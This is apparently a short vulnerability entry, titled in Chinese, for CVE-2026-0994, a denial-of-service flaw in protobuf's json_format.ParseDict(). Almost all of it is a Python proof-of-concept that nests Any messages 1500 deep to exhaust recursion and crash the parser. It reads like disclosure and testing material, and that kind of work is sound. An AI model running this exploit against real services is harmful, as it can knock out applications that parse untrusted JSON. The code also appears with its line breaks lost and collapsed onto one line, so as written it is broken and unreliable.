CVE-2026-0994 google.protobuf json_format.ParseDict() 拒绝服务漏洞

from google.protobuf.json_format import ParseDict from google.protobuf import any_pb2 import sys # Create deeply nested Any messages to trigger DoS def create_nested_any(depth): """Create a deeply nested Any message structure""" inner = any_pb2.Any() inner.type_url = 'type.googleapis.com/google.protobuf.Any' current = inner for i in range(depth - 1): next_any = any_pb2.Any() next_any.type_url = 'type.googleapis.com/google.protobuf.Any' current.value = next_any.SerializeToString() current = next_any return inner # Test PoC for CVE-2026-0994 def test_cve_2026_0994(): print("Testing CVE-2026-0994: DoS via nested Any messages") print("Creating deeply nested Any structure...") # Create nested structure with depth exceeding Python recursion limit nested_any = create_nested_any(1500) # Convert to dict format for ParseDict nested_dict = { 'type_url': nested_any.type_url, 'value': nested_any.value } print(f"Attempting to parse nested Any with depth 1500...") try: result = any_pb2.Any() ParseDict(nested_dict, result) print("Parsing completed without error (unexpected)") except RecursionError as e: print(f"RecursionError triggered as expected: {e}") print("Vulnerability confirmed: max_recursion_depth bypassed") return True except Exception as e: print(f"Other error occurred: {type(e).__name__}: {e}") return False if __name__ == "__main__": test_cve_2026_0994()